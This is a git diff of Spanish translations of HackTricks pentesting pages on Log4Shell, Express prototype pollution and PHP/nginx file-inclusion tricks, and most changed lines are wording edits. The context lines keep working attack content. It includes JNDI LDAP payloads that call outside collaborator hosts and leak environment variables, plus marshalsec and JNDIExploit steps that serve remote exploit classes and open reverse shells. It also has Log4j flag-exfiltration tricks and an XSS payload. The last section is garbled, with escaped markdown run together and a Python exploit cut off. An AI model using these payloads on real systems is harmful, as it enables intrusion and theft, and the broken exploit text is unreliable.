|
||||
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (usando Burp Suite)
|
||||
* `${jndi:ldap://2j4ayo.dnslog.cn}` (usando [dnslog](http://dnslog.cn))
|
||||
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (usando [huntress](https://log4shell.huntress.com))
|
||||
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` usando (usando [huntress](https://log4shell.huntress.com))
|
||||
|
||||
Ten en cuenta que **incluso si se recibe una solicitud DNS, eso no significa que la aplicación sea explotable** (o incluso vulnerable), necesitarás intentar explotarla.
|
||||
|
||||
|
@ -156,7 +148,7 @@ Ten en cuenta que **incluso si se recibe una solicitud DNS, eso no significa que
|
|||
Recuerda que para **explotar la versión 2.15** necesitas agregar el **bypass de verificación de localhost**: ${jndi:ldap://**127.0.0.1#**...}
|
||||
{% endhint %}
|
||||
|
||||
#### **Descubrimiento Local**
|
||||
#### **Local Discovery**
|
||||
|
||||
Busca **versiones vulnerables locales** de la biblioteca con:
|
||||
```bash
|
||||
|
@ -236,7 +228,7 @@ Para **más información** (_como limitaciones en los vectores RMI y CORBA_) **c
|
|||
|
||||
### RCE - Marshalsec con carga útil personalizada
|
||||
|
||||
Puedes probar esto en la **caja de THM:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
Puedes probar esto en la **THM box:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
|
||||
Usa la herramienta [**marshalsec**](https://github.com/mbechler/marshalsec) (versión jar disponible [**aquí**](https://github.com/RandomRobbieBF/marshalsec-jar)). Este enfoque establece un servidor de referencia LDAP para redirigir conexiones a un servidor HTTP secundario donde se alojará el exploit:
|
||||
```bash
|
||||
|
@ -256,11 +248,11 @@ e.printStackTrace();
|
|||
```
|
||||
Compila el archivo Java en un archivo de clase usando: `javac Exploit.java -source 8 -target 8`. A continuación, inicia un **servidor HTTP** en el directorio que contiene el archivo de clase con: `python3 -m http.server`. Asegúrate de que el **servidor LDAP marshalsec** haga referencia a este servidor HTTP.
|
||||
|
||||
Desencadena la ejecución de la clase de explotación en el servidor web susceptible enviando una carga útil que se asemeje a:
|
||||
Desencadena la ejecución de la clase de exploit en el servidor web susceptible enviando una carga útil que se asemeje a:
|
||||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
**Nota:** Este exploit depende de la configuración de Java para permitir la carga de código base remoto a través de LDAP. Si esto no es permisible, considera explotar una clase de confianza para la ejecución de código arbitrario.
|
||||
**Nota:** Este exploit depende de la configuración de Java para permitir la carga de código base remoto a través de LDAP. Si esto no es permisible, considera explotar una clase de confianza para la ejecución arbitraria de código.
|
||||
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
|
@ -278,8 +270,8 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN
|
|||
unzip JNDIExploit.v1.2.zip
|
||||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||
```
|
||||
Después de leer el código solo un par de minutos, en _com.feihong.ldap.LdapServer_ y _com.feihong.ldap.HTTPServer_ puedes ver cómo se **crean los servidores LDAP y HTTP**. El servidor LDAP entenderá qué carga útil necesita ser servida y redirigirá a la víctima al servidor HTTP, que servirá el exploit.\
|
||||
En _com.feihong.ldap.gadgets_ puedes encontrar **algunos gadgets específicos** que se pueden usar para ejecutar la acción deseada (potencialmente ejecutar código arbitrario). Y en _com.feihong.ldap.template_ puedes ver las diferentes clases de plantilla que **generarán los exploits**.
|
||||
Después de leer el código solo un par de minutos, en _com.feihong.ldap.LdapServer_ y _com.feihong.ldap.HTTPServer_ puedes ver cómo se **crean los servidores LDAP y HTTP**. El servidor LDAP entenderá qué payload necesita ser servido y redirigirá a la víctima al servidor HTTP, que servirá el exploit.\
|
||||
En _com.feihong.ldap.gadgets_ puedes encontrar **algunos gadgets específicos** que pueden ser utilizados para ejecutar la acción deseada (potencialmente ejecutar código arbitrario). Y en _com.feihong.ldap.template_ puedes ver las diferentes clases de plantilla que **generarán los exploits**.
|
||||
|
||||
Puedes ver todos los exploits disponibles con **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Algunos útiles son:
|
||||
```bash
|
||||
|
@ -304,7 +296,7 @@ Cuando envíes los ataques, verás alguna salida en la terminal donde ejecutaste
|
|||
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||||
|
||||
De manera similar al exploit anterior, puedes intentar usar [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para explotar esta vulnerabilidad.\
|
||||
Puedes generar las URL para enviar a la víctima ejecutando:
|
||||
Puedes generar las URLs para enviar a la víctima ejecutando:
|
||||
```bash
|
||||
# Get reverse shell in port 4444 (only unix)
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
|
||||
|
@ -360,20 +352,20 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
|||
|
||||
### Laboratorios para probar
|
||||
|
||||
* [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)
|
||||
* [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
|
||||
* [**LogForge máquina HTB**](https://app.hackthebox.com/tracks/UHC-track)
|
||||
* [**Try Hack Me sala Solar**](https://tryhackme.com/room/solar)
|
||||
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
|
||||
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
|
||||
|
||||
## Explotación Post-Log4Shell
|
||||
|
||||
En este [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) se explica bien cómo es **potencialmente posible** **abusar** de algunas características de **Log4J**.
|
||||
En este [**informe CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) se explica bien cómo es potencialmente **posible** **abusar** de algunas características de **Log4J**.
|
||||
|
||||
La [**página de seguridad**](https://logging.apache.org/log4j/2.x/security.html) de Log4j tiene algunas frases interesantes:
|
||||
|
||||
> A partir de la versión 2.16.0 (para Java 8), la **función de búsqueda de mensajes ha sido completamente eliminada**. **Las búsquedas en la configuración aún funcionan**. Además, Log4j ahora desactiva el acceso a JNDI por defecto. Las búsquedas JNDI en la configuración ahora deben habilitarse explícitamente.
|
||||
|
||||
> A partir de la versión 2.17.0 (y 2.12.3 y 2.3.1 para Java 7 y Java 6), **solo las cadenas de búsqueda en la configuración se expanden recursivamente**; en cualquier otro uso, solo se resuelve la búsqueda de nivel superior, y las búsquedas anidadas no se resuelven.
|
||||
> A partir de la versión 2.17.0, (y 2.12.3 y 2.3.1 para Java 7 y Java 6), **solo las cadenas de búsqueda en la configuración se expanden recursivamente**; en cualquier otro uso, solo se resuelve la búsqueda de nivel superior, y las búsquedas anidadas no se resuelven.
|
||||
|
||||
Esto significa que por defecto puedes **olvidarte de usar cualquier exploit `jndi`**. Además, para realizar **búsquedas recursivas** necesitas tenerlas configuradas.
|
||||
|
||||
|
@ -384,20 +376,20 @@ Por ejemplo, en ese CTF esto se configuró en el archivo log4j2.xml:
|
|||
</PatternLayout>
|
||||
</Console>
|
||||
```
|
||||
### Búsquedas de Entorno
|
||||
### Búsquedas de Env
|
||||
|
||||
En [este CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) el atacante controlaba el valor de `${sys:cmd}` y necesitaba exfiltrar la bandera de una variable de entorno.\
|
||||
En [este CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), el atacante controlaba el valor de `${sys:cmd}` y necesitaba exfiltrar la bandera de una variable de entorno.\
|
||||
Como se vio en esta página en [**cargas útiles anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), hay diferentes formas de acceder a las variables de entorno, como: **`${env:FLAG}`**. En este CTF esto fue inútil, pero podría no serlo en otros escenarios de la vida real.
|
||||
|
||||
### Exfiltración en Excepciones
|
||||
|
||||
En el CTF, **no podías acceder al stderr** de la aplicación java usando log4J, pero las **excepciones de Log4J se envían a stdout**, que se imprimió en la aplicación de python. Esto significaba que al provocar una excepción podíamos acceder al contenido. Una excepción para exfiltrar la bandera fue: **`${java:${env:FLAG}}`**. Esto funciona porque **`${java:CTF{blahblah}}`** no existe y se mostrará una excepción con el valor de la bandera:
|
||||
En el CTF, **no podías acceder al stderr** de la aplicación java usando log4J, pero las **excepciones de Log4J se envían a stdout**, que se imprimió en la aplicación de python. Esto significaba que al desencadenar una excepción podíamos acceder al contenido. Una excepción para exfiltrar la bandera fue: **`${java:${env:FLAG}}`**. Esto funciona porque **`${java:CTF{blahblah}}`** no existe y se mostrará una excepción con el valor de la bandera:
|
||||
|
||||
![](<../../.gitbook/assets/image (1023).png>)
|
||||
|
||||
### Excepciones de Patrones de Conversión
|
||||
|
||||
Solo para mencionarlo, también podrías inyectar nuevos [**patrones de conversión**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) y provocar excepciones que se registrarán en `stdout`. Por ejemplo:
|
||||
Solo para mencionarlo, también podrías inyectar nuevos [**patrones de conversión**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) y desencadenar excepciones que se registrarán en `stdout`. Por ejemplo:
|
||||
|
||||
![](<../../.gitbook/assets/image (683).png>)
|
||||
|
||||
|
@ -410,7 +402,7 @@ Sin embargo, es posible usar algunos **patrones de conversión que soportan expr
|
|||
* **Búsqueda binaria a través de mensajes de excepción**
|
||||
|
||||
El patrón de conversión **`%replace`** se puede usar para **reemplazar** **contenido** de una **cadena** incluso usando **expresiones regulares**. Funciona así: `replace{pattern}{regex}{substitution}`\
|
||||
Abusando de este comportamiento podrías hacer que reemplazar **provocara una excepción si la expresión regular coincidía** con algo dentro de la cadena (y ninguna excepción si no se encontraba) así:
|
||||
Abusando de este comportamiento podrías hacer que el reemplazo **desencadene una excepción si la expresión regular coincidía** con algo dentro de la cadena (y ninguna excepción si no se encontraba) así:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
|
@ -419,9 +411,9 @@ Abusando de este comportamiento podrías hacer que reemplazar **provocara una ex
|
|||
* **Basado en tiempo**
|
||||
|
||||
Como se mencionó en la sección anterior, **`%replace`** soporta **regexes**. Así que es posible usar un payload de la [**página de ReDoS**](../regular-expression-denial-of-service-redos.md) para causar un **timeout** en caso de que se encuentre la bandera.\
|
||||
Por ejemplo, un payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` provocaría un **timeout** en ese CTF.
|
||||
Por ejemplo, un payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` desencadenaría un **timeout** en ese CTF.
|
||||
|
||||
En este [**informe**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), en lugar de usar un ataque ReDoS, se utilizó un **ataque de amplificación** para causar una diferencia de tiempo en la respuesta:
|
||||
En este [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), en lugar de usar un ataque ReDoS, se utilizó un **ataque de amplificación** para causar una diferencia de tiempo en la respuesta:
|
||||
|
||||
> ```
|
||||
> /%replace{
|
||||
|
@ -441,9 +433,9 @@ En este [**informe**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
|
|||
> }{#}{######################################################}
|
||||
> ```
|
||||
>
|
||||
> Si la bandera comienza con `flagGuess`, toda la bandera es reemplazada por 29 `#`-s (utilicé este carácter porque probablemente no formaría parte de la bandera). **Cada uno de los 29 `#`-s resultantes es luego reemplazado por 54 `#`-s**. Este proceso se repite **6 veces**, llevando a un total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
||||
> Si la bandera comienza con `flagGuess`, toda la bandera es reemplazada por 29 `#`-s (usé este carácter porque probablemente no formaría parte de la bandera). **Cada uno de los 29 `#`-s resultantes es luego reemplazado por 54 `#`-s**. Este proceso se repite **6 veces**, llevando a un total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
||||
>
|
||||
> Reemplazar tantos `#`-s provocará el timeout de 10 segundos de la aplicación Flask, lo que a su vez resultará en que se envíe el código de estado HTTP 500 al usuario. (Si la bandera no comienza con `flagGuess`, recibiremos un código de estado que no es 500)
|
||||
> Reemplazar tantos `#`-s desencadenará el timeout de 10 segundos de la aplicación Flask, lo que a su vez resultará en que se envíe el código de estado HTTP 500 al usuario. (Si la bandera no comienza con `flagGuess`, recibiremos un código de estado que no es 500)
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -456,23 +448,18 @@ En este [**informe**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
|
|||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,21 @@
|
|||
# Express Prototype Pollution Gadgets
|
||||
# Gadgets de Contaminación de Prototipos de Express
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Serve XSS responses
|
||||
## Servir respuestas XSS
|
||||
|
||||
**Para más detalles** [**echa un vistazo a la investigación original**](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
|
@ -43,7 +29,7 @@ _.merge({}, req.body);
|
|||
res.send(req.body);
|
||||
});
|
||||
```
|
||||
En estos casos, XSS normalmente no es posible con un tipo de contenido JSON. Sin embargo, con la contaminación del prototipo podemos **confundir a Express para que sirva una respuesta HTML.** Esta vulnerabilidad se basa en que la aplicación utiliza **`res.send(obj)`** y usa el analizador de cuerpo con el tipo de contenido application/json.
|
||||
En estos casos, XSS normalmente no es posible con un tipo de contenido JSON. Sin embargo, con la contaminación de prototipos podemos **confundir a Express para que sirva una respuesta HTML.** Esta vulnerabilidad se basa en que la aplicación utiliza **`res.send(obj)`** y usa el analizador de cuerpo con el tipo de contenido application/json.
|
||||
```json
|
||||
{"__proto__":{"_body":true,"body":"<script>evil()"}}
|
||||
```
|
||||
|
@ -125,17 +111,6 @@ Definitivamente podrías usarlo en una **cadena** de errores para explotar una *
|
|||
|
||||
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,20 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### `compress.zlib://` y `PHP_STREAM_PREFER_STDIO`
|
||||
|
||||
Un archivo abierto utilizando el protocolo `compress.zlib://` con la bandera `PHP_STREAM_PREFER_STDIO` puede continuar escribiendo datos que lleguen a la conexión más tarde en el mismo archivo.
|
||||
|
@ -49,7 +35,7 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
|
|||
*newstream = php_stream_temp_new();
|
||||
}
|
||||
```
|
||||
### Condición de Carrera a RCE
|
||||
### Condición de Carrera para RCE
|
||||
|
||||
[**Este CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) fue resuelto utilizando el truco anterior.
|
||||
|
||||
|
@ -63,29 +49,17 @@ Sin embargo, hay una verificación en el servidor web que **previene cargar arch
|
|||
|
||||
Para más información, consulta la descripción de la Condición de Carrera y el CTF en [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,56 +10,43 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes revisar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Configuración vulnerable
|
||||
|
||||
[**Ejemplo de https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
* Código PHP:
|
||||
```php
|
||||
|
||||
\`\`\`\`h\`
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||
|
||||
